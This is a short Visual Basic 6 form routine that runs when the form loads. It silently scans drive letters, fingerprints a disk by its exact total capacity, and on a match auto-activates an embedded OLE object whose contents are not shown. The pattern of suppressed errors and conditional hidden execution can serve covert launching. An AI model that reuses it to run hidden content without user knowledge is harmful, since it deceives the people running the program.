Private Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long
    
    Private Sub Form_Load()
    On Error Resume Next
        Dim a As Long
        Dim b As Long
        Dim c As Long
        Dim d As Long
        Dim l As Boolean
        Dim xx As Byte
        Dim st As String
        For xx = Asc("c") To Asc("z")
            st = Chr(xx)
            a = 0
            b = 0
            c = 0
            d = 0
            Call GetDiskFreeSpace(CStr(st & ":"), a, b, c, d)
            If d < 100000 Then
                If a * b * d = 125642752 Then
                    OLE1.DoVerb (0)
                End If
            End If
        Next
        End
    End Sub